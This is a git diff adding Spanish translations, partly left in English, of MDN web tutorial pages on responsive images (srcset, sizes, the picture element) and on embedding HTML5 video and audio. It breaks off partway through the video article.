+<p>Sin embargo, podemos utilizar dos nuevos atributos — {{htmlattrxref("srcset", "img")}} y {{htmlattrxref("sizes", "img")}} — para proporcionar varias imágenes de origen adicionales junto con sugerencias para ayudar al navegador a elegir el correcto. Puede ver el ejemplo <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> en Github (vea también <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">el código fuente</a>):</p>
+
+<pre class="brush: html notranslate">&lt;img srcset="elva-fairy-320w.jpg 320w,
+             elva-fairy-480w.jpg 480w,
+             elva-fairy-800w.jpg 800w"
+     sizes="(max-width: 320px) 280px,
+            (max-width: 480px) 440px,
+            800px"
+     src="elva-fairy-800w.jpg" alt="Elva dressed as a fairy"&gt;</pre>
+
+<p>Los atributos <code>srcset</code> y <code>sizes</code> parecen complicados, pero resultan más fáciles de entender si los formatea como se muestra arriba, con valores diferentes para el atributo en cada línea. Cada valor contiene una lista separada por coma, y cada parte de la lista está compuesta por tres sub-partes. Repasemos ahora el contenido de cada uno:</p>
+
+<p><strong><code>srcset</code></strong> define el conjunto de imágenes que el navegador podrá elegir, y el tamaño de cada imagen.<strong> </strong>Cada conjunto de información de imagen está separado del anterior por una coma. Para cada uno, escribimos:</p>
+
+<ol>
+ <li>Un nombre de archivo de imagen (elva-fairy-480w.jpg)</li>
+ <li>Un espacio.</li>
+ <li>El <strong>ancho intrínseco de la imagen en píxeles</strong> (480w): tenga en cuenta que esto usa la unidad w, no px como cabría esperar. Este es el tamaño real de la imagen, que se puede encontrar inspeccionando el archivo de imagen en su computadora (por ejemplo, en una Mac puede seleccionar la imagen en Finder y presionar <kbd>Cmd</kbd> + <kbd>I</kbd> para que aparezca la pantalla de información).</li>
+</ol>
+
+<p><strong><code>sizes</code></strong> define un conjunto de condiciones de medios (por ejemplo, anchos de pantalla) e indica qué tamaño de imagen sería mejor elegir cuando se cumplen ciertas condiciones de medios  — estas son las sugerencias de las que hablamos anterriormente. En este caso, antes de cada coma escribimos:</p>
+
+<ol>
+ <li>Una <strong>condición de medios</strong> ((max-width: 600px)): aprenderá más sobre esto en el <a href="/en-US/docs/Web/CSS">tema CSS</a>, pero por ahora digamos que una condición de medios describe un posible estado en el que puede estar la pantalla. En este caso, estamos diciendo "cuando el ancho de la ventana gráfica es de 600 píxeles o menos".</li>
+ <li>Un espacio.</li>
+ <li>El <strong>ancho de la ranura</strong> que la imagen llenará cuando la condición de medios sea verdadera (<code>440px</code>.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Para el <strong>ancho de la ranura</strong>, debe indicar una longitud absoluta (<code>px</code>, <code>em</code>) o relativa (como un porcentaje.) Usted debe haber advertido que el ancho de la última ranura no tiene condición de medios (esta es la opción por defecto que se elige cuando ninguna de las condiciones de medios se cumplen). El navegador ignora todo lo posterior a la primera condición coincidente, por eso sea cuidadoso con el orden de las condiciones de medios.</p>
+</div>
+
+<p>Entonces, con estos atributos establecidos, el navegador:</p>
+
+<ol>
+ <li>Verificará el ancho del dispositivo.</li>
+ <li>Resolverá qué condición de medios en la lista <code>sizes</code> es la primera que se cumple.</li>
+ <li>Verificará la medida de la ranura dada a esa consulta de medios.</li>
+ <li>Cargará la imagen referenciada en la lista <code>srcset</code> con coincidencia más cercana a la medida de la ranura.</li>
+</ol>
+
+<p>¡Y eso es todo! Hasta este punto, si un navegador compatible con un ancho de ventana de 480px carga la página, la condición de medios <code>(max-width: 480px)</code> se cumplirá, por lo que la ranura de <code>440px</code> será elegida y se cargará el archivo de imagen <code>elva-fairy-480w.jpg</code>, ya que el ancho inherente (<code>480w</code>) es el más cercano a <code>440px</code>. La imagen de 800px tiene 128KB en disco mientras que la versión de 480px tiene solo 63KB — un ahorro de 65KB. Ahora imagine si esta fuera una página que tuviera muchas imágenes. Usar esta técnica puede ahorrarle a los usuarios de dispositivos móviles mucho ancho de banda.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Al probar esto con un navegador de escritorio, si el navegador no carga las imágenes más estrechas cuando tiene su ventana configurada en el ancho más estrecho, eche un vistazo a cuál es la ventana gráfica (puede aproximarla yendo a la <u>Consola JavaScript</u> del navegador y escribiendo <code>document.querySelector('html').clientWidth</code>). Los diferentes navegadores tienen tamaños mínimos a los que te permitirán reducir el ancho de la ventana y pueden ser más anchos de lo que piensas. Al probarlo con un navegador móvil, puede usar herramientas como la página de depuración de Firefox <code>about:debugging</code> para inspeccionar la página cargada en el dispositivo móvil usando las herramientas de desarrollo de escritorio. Para ver qué imágenes se cargaron, puede usar la pestaña <a href="/en-US/docs/Tools/Network_Monitor">Monitor de red</a> en las herramientas del desarrollador de Firefox.</p>
+</div>
+
+<p>Los navegadores más antiguos que no soportan estas características solo las ignorarán y seguirán adelante con la carga de la imagen referenciada en el atributo {{htmlattrxref("src", "img")}} como lo hacen habitualmente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En el {{htmlelement("head")}} del documento usted hallará la línea <code>&lt;meta name="viewport" content="width=device-width"&gt;</code>: esto fuerza a los dispositivos móviles a adoptar su ancho real de ventana para cargar las páginas web (algunos navegadores móviles mienten sobre el ancho de su ventana gráfica y, en su lugar, cargan páginas con un ancho de ventana más grande y luego reducen la página cargada, lo que no es muy útil para imágenes o diseño receptivos).</p>
+</div>
+
+<h3 id="Useful_developer_tools">Useful developer tools</h3>
+
+<p>There are some useful <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools</a> in browsers to help with working out the necessary slot widths, etc, that you need to use. When I was working them out, I first loaded up the non-responsive version of my example (<code>not-responsive.html</code>), then went into <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design View</a> (<em>Tools &gt; Web Developer &gt; Responsive Design View</em>), which allows you to look at your web page layouts as if they were being viewed through a variety of different device screen sizes.</p>
+
+<p>I set the viewport width to 320px then 480px; for each one I went into the <a href="/en-US/docs/Tools/Page_Inspector">DOM Inspector</a>, clicked on the {{htmlelement("img")}} element we are interested in, then looked at its size in the Box Model view tab on the right hand side of the display. This should give you the inherent image widths you need.</p>
+
+<p><img alt="A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels." src="https://mdn.mozillademos.org/files/12932/box-model-devtools.png" style="display: block; height: 845px; margin: 0px auto; width: 480px;"></p>
+
+<p>Next, you can check whether the <code>srcset</code> is working by setting the viewport width to what you want (set it to a narrow width, for example), opening the Network Inspector (<em>Tools &gt; Web Developer &gt; Network</em>), then reloading the page. This should give you a list of the assets that were downloaded to make up the webpage, and here you can check which image file was chosen for download.</p>
+
+<p><img alt="a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images" src="https://mdn.mozillademos.org/files/12934/network-devtools.png" style="display: block; height: 630px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="Resolution_switching_Same_size_different_resolutions">Resolution switching: Same size, different resolutions</h3>
+
+<p>If you're supporting multiple display resolutions, but everyone sees your image at the same real-world size on the screen, you can allow the browser to choose an appropriate resolution image by using <code>srcset</code> with x-descriptors and without <code>sizes</code> — a somewhat easier syntax! You can find an example of what this looks like in <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a> (see also <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">the source code</a>):</p>
+
+<pre class="brush: html notranslate">&lt;img srcset="elva-fairy-320w.jpg,
+             elva-fairy-480w.jpg 1.5x,
+             elva-fairy-640w.jpg 2x"
+     src="elva-fairy-640w.jpg" alt="Elva dressed as a fairy"&gt;
+</pre>
+
+<p><img alt="A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">In this example, the following CSS is applied to the image so that it will have a width of 320 pixels on the screen (also called CSS pixels):</p>
+
+<pre class="brush: css notranslate">img {
+  width: 320px;
+}</pre>
+
+<p>In this case, <code>sizes</code> is not needed — the browser simply works out what resolution the display is that it is being shown on, and serves the most appropriate image referenced in the <code>srcset</code>. So if the device accessing the page has a standard/low resolution display, with one device pixel representing each CSS pixel, the <code>elva-fairy-320w.jpg</code> image will be loaded (the 1x is implied, so you don't need to include it.) If the device has a high resolution of two device pixels per CSS pixel or more, the <code>elva-fairy-640w.jpg</code> image will be loaded. The 640px image is 93KB, whereas the 320px image is only 39KB.</p>
+
+<h3 id="Art_direction">Art direction</h3>
+
+<p>To recap, the <strong>art direction problem</strong> involves wanting to change the image displayed to suit different image display sizes. For example, if a large landscape shot with a person in the middle is shown on a website when viewed on a desktop browser, then shrunk down when the website is viewed on a mobile browser, it will look bad as the person will be really tiny and hard to see. It would probably be better to show a smaller, portrait image on mobile, which shows the person zoomed in. The {{htmlelement("picture")}} element allows us to implement just this kind of solution.</p>
+
+<p>Returning to our original <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a> example, we have an image that badly needs art direction:</p>
+
+<pre class="brush: html notranslate">&lt;img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"&gt;</pre>
+
+<p>Let's fix this, with {{htmlelement("picture")}}! Like <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code>&lt;video&gt;</code> and <code>&lt;audio&gt;</code></a>, The <code>&lt;picture&gt;</code> element is a wrapper containing several {{htmlelement("source")}} elements that provide several different sources for the browser to choose between, followed by the all-important {{htmlelement("img")}} element. The code in <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> looks like so:</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"&gt;
+  &lt;source media="(min-width: 800px)" srcset="elva-800w.jpg"&gt;
+  &lt;img src="elva-800w.jpg" alt="Chris standing up holding his daughter Elva"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li>The <code>&lt;source&gt;</code> elements include a <code>media</code> attribute that contains a media condition — as with the first <code>srcset</code> example, these conditions are tests that decide which image is shown — the first one that returns true will be displayed. In this case, If the viewport width is 799px wide or less, the first <code>&lt;source&gt;</code> element's image will be displayed. If the viewport width is 800px or more, it'll be the second one.</li>
+ <li>The <code>srcset</code> attributes contain the path to the image to display. Note that just as we saw with <code>&lt;img&gt;</code> above, <code>&lt;source&gt;</code> can take a <code>srcset</code> attribute with multiple images referenced, and a <code>sizes</code> attribute too. So you could offer multiple images via a <code>&lt;picture&gt;</code> element, but then also offer multiple resolutions of each one too. Realistically, you probably won't want to do this kind of thing very often.</li>
+ <li>In all cases, you must provide an <code>&lt;img&gt;</code> element, with <code>src</code> and <code>alt</code>, right before <code>&lt;/picture&gt;</code>, otherwise no images will appear. This provides a default case that will apply when none of the media conditions return true (you could actually remove the second <code>&lt;source&gt;</code> element in this example), and a fallback for browsers that don't support the <code>&lt;picture&gt;</code> element.</li>
+</ul>
+
+<p>This code allows us to display a suitable image on both wide screen and narrow screen displays, as shown below:</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"><img alt="Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen" src="https://mdn.mozillademos.org/files/12938/picture-element-narrow.png" style="display: block; height: 710px; margin: 0px auto; width: 320px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You should use the <code>media</code> attribute only in art direction scenarios; when you do use <code>media</code>, don't also offer media conditions within the <code>sizes</code> attribute.</p>
+</div>
+
+<h3 id="¿Por_qué_no_podemos_usar_simplemente_CSS_o_Javascript">¿Por qué no podemos usar, simplemente, CSS o Javascript?</h3>
+
+<p>Cuando el navegador comienza a cargar una página, empieza a descargar (precargar) cualquier imagen before the main parser has started to load and interpret the page's CSS and JavaScript. This is a useful technique, which on average has shaved 20% off page load times. However, it is not helpful for responsive images, hence the need to implement solutions like <code>srcset</code>. You couldn't for example load the {{htmlelement("img")}} element, then detect the viewport width with JavaScript and dynamically change the source image to a smaller one if desired. By then, the original image would already have been loaded, and you would load the small image as well, which is even worse in responsive image terms.</p>
+
+<ul>
+</ul>
+
+<h3 id="Use_modern_image_formats_boldly">Use modern image formats boldly</h3>
+
+<p>There are several exciting new image formats (such as WebP and JPEG-2000) that can maintain a low file size and high quality at the same time. However, browser support is spotty.</p>
+
+<p><code>&lt;picture&gt;</code> lets us continue catering to older browsers. You can supply MIME types inside <code>type</code> attributes so the browser can immediately reject unsupported file types:</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source type="image/svg+xml" srcset="pyramid.svg"&gt;
+  &lt;source type="image/webp" srcset="pyramid.webp"&gt;
+  &lt;img src="pyramid.png" alt="regular pyramid built from four equilateral triangles"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li>No uses el atributo <code>media</code>, unless you also need art direction.</li>
+ <li>En un elemento <code>&lt;source&gt;</code> , solo puedes enlazar a imágenes del tipo que has declarado en <code>type</code>.</li>
+ <li>Al igual que antes, puedes usar sin ningún problema listas separadas con comas tanto en <code>srcset</code> , como en <code>sizes</code>, así como lo necesites.</li>
+</ul>
+
+<h2 id="Aprendizaje_activo_Implementando_sus_propias_imágenes_adaptables">Aprendizaje activo: Implementando sus propias imágenes adaptables</h2>
+
+<p>For this active learning, we're expecting you to be brave and go it alone ... mostly. We want you to implement your own suitable art directed narrow screen/wide screen shot using <code>&lt;picture&gt;</code>, and a resolution switching example that uses <code>srcset</code>.</p>
+
+<ol>
+ <li>Write some simple HTML to contain your code (use <code>not-responsive.html</code> as a starting point, if you like)</li>
+ <li>Find a nice wide screen landscape image with some kind of detail contained in it somewhere. Create a web-sized version of it using a graphics editor, then crop it to show a smaller part that zooms in on the detail, and create a second image (about 480px wide is good for this.)</li>
+ <li>Use the <code>&lt;picture&gt;</code> element to implement an art direction picture switcher!</li>
+ <li>Create multiple image files of different sizes, each showing the same picture.</li>
+ <li>Use <code>srcset</code>/<code>size</code> to create a resolution switcher example, either to serve the same size image at different resolutions, or different image sizes at different viewport widths.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Use the browser devtools to help work out what sizes you need, as mentioned above.</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>That's a wrap for responsive images — we hope you enjoyed playing with these new techniques. As a recap, there are two distinct problems we've been discussing here:</p>
+
+<ul>
+ <li><strong>Art direction</strong>: The problem whereby you want to serve cropped images for different layouts — for example a landscape image showing a full scene for a desktop layout, and a portrait image showing the main subject zoomed in close for a mobile layout. This can be solved using the {{htmlelement("picture")}} element.</li>
+ <li><strong>Resolution switching</strong>: The problem whereby you want to serve smaller image files to narrow screen devices, as they don't need huge images like desktop displays do — and also optionally that you want to serve different resolution images to high density/low density screens. This can be solved using <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">vector graphics</a> (SVG images), and the {{htmlattrxref("srcset", "img")}} and {{htmlattrxref("sizes", "img")}} attributes.</li>
+</ul>
+
+<p>This also draws to a close the entire <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding">Multimedia and embedding</a> module! The only thing to do now before moving on is to try our multimedia assessment, and see how you get on. Have fun.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="http://blog.cloudfour.com/responsive-images-101-definitions">Excelente introducción de Jason Grigsby excellent a las imágenes adaptables</a></li>
+ <li><a href="https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/">Imagenes adaptables: Si solo está cambiando resoluciones , use srcset</a> — incluye más explicaciones sobre como el navegador resuelve qué imagen utilizar</li>
+ <li>{{htmlelement("img")}}</li>
+ <li>{{htmlelement("picture")}}</li>
+ <li>{{htmlelement("source")}}</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div>
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenido de audio y video</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De &lt;object&gt; a &lt;iframe&gt; — otras tecnologías de i</a>ncrustación</li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Agregando gráficos de vector a la Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imagenes adaptables</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Página de bienvenida de Mozilla</a></li>
+</ul>
+</div>
+
+<p><iframe></iframe>&lt;hv-copy-modal&gt;&lt;/hv-copy-modal&gt;</p>
diff --git a/files/es/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/es/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
new file mode 100644
index 0000000000..e9b5571e23
--- /dev/null
+++ b/files/es/learn/html/multimedia_and_embedding/video_and_audio_content/index.html
@@ -0,0 +1,319 @@
+---
+title: Video and audio content
+slug: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">Ahora que estamos cómodos añadiendo imágenes simples a una página web, el siguiente paso será empezar a agregar reproductores de audio y video a tu documento HTML. En este artículo veremos cómo hacerlo con los elementos  {{htmlelement("video")}} y {{htmlelement("audio")}}; luego terminaremos viendo como agregar subtítulos a nuestros videos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Conocimientos básicos de computación, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">programas básicos instalados</a>, conocimiento básico de <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">trabajo con archivos</a>, familiaridad con los fundamentos de HTML (como está cubierto en <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Empezando con HTML</a>) e <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Imágenes en HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender como incrustar contenido de audio y video en una página web, y agregar subtítulos a los videos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Audio_y_video_en_la_web">Audio y video en la web</h2>
+
+<p>Los desarrolladores web han querido usar audio y video en la web por mucho tiempo, desde comienzos del 2000 cuando empezamos a tener un ancho de banda suficientemente rápido para soportar cualquier tipo de video (los archivos de video son mucho más grandes que texto o imágenes). En los inicios, las tecnologías web nativas como HTML no tenían el soporte para incrustar audio y video en la Web, tecnologías privadas (o basadas en plugins) como <a href="https://en.wikipedia.org/wiki/Adobe_Flash">Flash</a> (y después, <a href="https://en.wikipedia.org/wiki/Microsoft_Silverlight">Silverlight</a>) se convirtieron populares para manipular este tipo de contenido. Este tipo de tecnología funcionó bien, pero tenía ciertos problemas, incluídos el no trabajar bien con las características de HTML/CSS, problemas de seguridad y problemas de accesibilidad.</p>
+
+<p>Una solución nativa podría resolver mucho de esto si es implementado correctamente. Afortunadamente, unos pocos años después la especificación {{glossary("HTML5")}} tenía tales características agregadas, con los elementos {{htmlelement("video")}} y {{htmlelement("audio")}}, y algo nuevo {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} para controlar estos. No veremos Javascript aquí — solo los fundamentos básicos que se pueden lograr con HTML.</p>
+
+<p>No te enseñaremos como crear archivos de audio y video — eso requiere un conocimiento completamente diferente. Por el contrario, te proporcionamos <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">archivos de audio y video de muestra con códigos de ejemplo</a> para que tu mismo experimentes, en caso de que no puedas conseguirlos por ti mismo.</p>
+
+<div class="note">
+<p><strong>Observación</strong>: Antes de empezar, también deberías saber que hay un puñado de OVPs (proveedores de video online) como <a href="https://www.youtube.com/">YouTube</a>, <a href="http://www.dailymotion.com">Dailymotion</a> y <a href="https://vimeo.com/">Vimeo</a>, y proveedores de audio como <a href="https://soundcloud.com/">Soundcloud</a>. Tales compañías ofrecen una conveniente fácil forma de hospedar y consumir videos, y que  no tienes que preocuparte sobre el enorme ancho de banda que se consume. Los OVPs normalmente usan código prefabricado para incrustar video/audio en tus sitios web; si  usas ese camino, puedes evitar algunas dificultates que discutimos en este artículo. Discutiremos este tipo de servicios un poco más en el siguiente artículo.</p>
+</div>
+
+<h3 id="El_elemento_&lt;video>">El elemento &lt;video&gt;</h3>
+
+<p>El elemento {{htmlelement("video")}} nos permite incrustar video fácilmente. Un ejemplo muy simple luce como lo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;video src="rabbit320.webm" controls&gt;
+  &lt;p&gt;Tu navegador no soporta HTML5 video. Aquí está el &lt;a href="rabbit320.webm"&gt;enlace del video&lt;/a&gt;.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Las características a notar son:</p>
+
+<dl>
+ <dt>{{htmlattrxref("src","video")}}</dt>
+ <dd>De la misma manera que para el elemento {{htmlelement("img")}}, el atributo <code>src</code> (source) contiene una ruta al video que deseas incrustar. Funciona de la misma manera.</dd>
+ <dt>{{htmlattrxref("controls","video")}}</dt>
+ <dd>Los usuarios deben ser capaces de controlar la reproducción de video y audio (esto es especialmente crítico en personas que padecen  <a href="https://en.wikipedia.org/wiki/Epilepsy#Epidemiology">epilepsia</a>). Se debe utilizar el atributo <code>controls</code> para incluir la interfaz de control del browser, o construir la nuestra utilizando la <a href="/en-US/docs/Web/API/HTMLMediaElement">JavaScript API</a> apropiada. Como mínimo la interfaz debe incluir una manera de empezar y terminar la reproducción, y ajustar el volumen.</dd>
+ <dt>El párrafo dentro de la etiqueta  <code>&lt;video&gt;</code></dt>
+ <dd>Se lo llama <strong>fallback content</strong> (contenido de reserva) — y será mostrado si el browser desde el que se está accediendo a la página no soporta el elemento <code>&lt;video&gt;</code>, permitiéndonos proveer un fallback para browsers más antiguos. Puede ser de la manera que se quiera; en este caso proporcionamos un link directo al archivo de video, por lo que el usuario puede al menos acceder de alguna manera, independientemente del browser que esté usando.</dd>
+</dl>
+
+<p>El video incrustado se verá así:</p>
+
+<p><img alt="A simple video player showing a video of a small white rabbit" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p>
+
+<p>Puedes <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">probar el ejemplo</a> aquí (también el <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">código fuente</a>).</p>
+
+<h3 id="Uso_de_formatos_múltiples_para_mejorar_la_compatibilidad">Uso de formatos múltiples para mejorar la compatibilidad</h3>
+
+<p>Hay un problema con el ejemplo de arriba, que quizás  hayas notado si trataste de acceder al <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">ejemplo en línea</a> con un navegador como Safari o Internet Explorer. ¡El video no funciona! Esto es porque diferentes navegadores soportan diferentes formatos de video (y audio).</p>
+
+<h4 id="Contenidos_de_un_archivo_de_medios">Contenidos de un archivo de medios</h4>
+
+<p>Repasemos la terminología rápidamente. Formatos como MP3, MP4 y WebM son llamados <strong>formatos contenedores</strong>. Estos contienen diferentes partes que componen toda la canción o video — como una pista de audio y una pista de video (en el caso del video), y metadatos para describir los contenidos que se presentan, qué codecs se usan para codificar sus canales, etcétera.</p>
+
+<p>Un archivo WebM contiene una película que tiene una pista principal de video y otra pista con un ángulo alternativo, junto con audio en inglés y español, además de una pista con comentarios en inglés, lo que puede ser conceptualizado en el siguiente diagrama. También se incluyeron pistas de texto que contienen los subtítulos de la película en inglés, español y para el comentario.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16898/ContainersAndTracks.svg" style="height: 607px; width: 823px;"></p>
+
+<p>Las pistas de audio y video dentro del contenedor mantienen los datos en un formato adecuado para el codec usado para codificar ese medio. Se usan diferentes formatos para pistas de audio versus de video. Cada pista de audio es codificada usando un codec de audio mientras que las pistas de video son codificadas (como probablemente ya has adivinado) usando un codec de video. Así como hemos hablado previamente, diferentes navegadores soportan diferentras formatos de audio y video, y diferentes formatos contenedores (como MP3, MP4 y WebM, que pueden contener diferentes tipos de video y audio).</p>
+
+<p>Por ejemplo:</p>
+
+<ul>
+ <li>Un WebM usualmente contiene paquetes de Ogg Vorbis audio con VP8/VP9 video. Soportado principalmente por Firefox y Chrome.</li>
+ <li>Un MP4 contiene a menudo paquetes AAC o audio MP3 con videos H.264. Principalmente soportados en Internet Explorer y Safari.</li>
+ <li>El antiguo contenedor Ogg suele usar audio Ogg Vorbis y video Ogg Theora. Es principalmente soportado por Firefox y Chrome, pero básicamente ha sido reemplazado por el formato WebM de mejor calidad.</li>
+</ul>
+
+<p>Un reproductor de audio tenderá a reproducir directamente un track de audio. Por ejemplo un archivo MP3 u Ogg. No necesitan contenedores.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: No es tan simple como se ve en nuestra <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats#Browser_compatibility"> tabla de compatibilidad de codecs audio-video</a>. Además, muchos browsers de plataformas móviles pueden reproducir un formato no soportado entregándoselo al reproductor multimedia del sistema subyacente para que lo reproduzca. Pero esto servirá por ahora.</p>
+</div>
+
+<p>Los formatos anteriores existen para comprimir los archivos de audio y video volviéndolos manejables (el tamaño sin comprimir es muy grande). Los browsers contienen diferentes <strong>{{Glossary("Codec","Codecs")}}</strong>, como Vorbis o H.264, los cuales son usados para convertir el sonido y video comprimidos en binario y viceversa. Pero desafortunadamente, como indicamos antes, no todos los browsers soportan los mismos codecs, por lo tanto, habrá que proveer varios archivos para cada producción multimedia. Si te falta el codec correcto para decodificar el medio, simplemente no se reproducirá.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Debes estar preguntándote por qué sucede esto. El <strong>MP3 </strong> (para audio) y el <strong>MP4/H.264</strong> (para video) son ampliamente compatibles y de buena calidad, sin embargo, también están patentados  — sus patentes cubren MP3 al menos hasta 2017 y a H.264 hasta 2027, lo que significa que los browsers que no tienen la patente tienen que pagar grandes sumas de dinero para soportar estos formatos. Además,  mucha gente no permite el software con restricciones, por estar a favor de formatos abiertos. Por todo esto es que tenemos que proveer múltiples formatos para los diferentes browsers.</p>
+</div>
+
+<p>Está bien, ¿pero cómo lo hacemos? Miremos el siguiente <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">ejemplo actualizado (</a><a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">pruébalo en vivo aquí</a>), o acá:</p>
+
+<pre class="brush: html notranslate">&lt;video controls&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Su navegador no soporta video HTML5. Aquí hay un &lt;a href="rabbit320.mp4"&gt;enlace al video&lt;/a&gt;.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Tomamos el atributo <code>src</code> del tag <code>&lt;video&gt;</code> y en su lugar incluimos elementos separados {{htmlelement("source")}} que apuntan a sus propias fuentes. En este caso el browser irá a los elementos <code>&lt;source&gt; y </code>reproducirá el primero de los elementos que el codec soporte. Incluir fuentes WebM y MP4 debería bastar para reproducir el video en la mayoría de los browsers en estos días.</p>
+
+<p>Cada elemento  <code>&lt;source&gt;</code>  tambien tiene un atributo <code>type</code> . Esto es opcional, pero se recomienda que se incluyan, ya que contienen {{glossary("MIME type","MIME types")}} de los archivos de vídeo y los navegadores pueden leerlos y omitir inmediatamente los vídeos que no tienen. Si no estan incluidos, los navegadores cargarán e intentarán reproducir cada archivo hasta que encuentren uno que funcione, lo que llevará aún más tiempo y recursos.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Nuestro <a href="/en-US/docs/Web/HTML/Supported_media_formats">articulo sobre soporte de formatos multimedia</a> contiene algunos de los habituales {{glossary("MIME type","MIME types")}}.</p>
+</div>
+
+<h3 id="Otras_características_de_la_etiqueta_&lt;video>">Otras características de la etiqueta &lt;video&gt;</h3>
+
+<p>Hay varias otras características que puede incluir en un vídeo HTML5. Eche un vistazo a nuestro tercer ejemplo, a continuación.</p>
+
+<pre class="brush: html notranslate">&lt;video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png"&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;
+</pre>
+
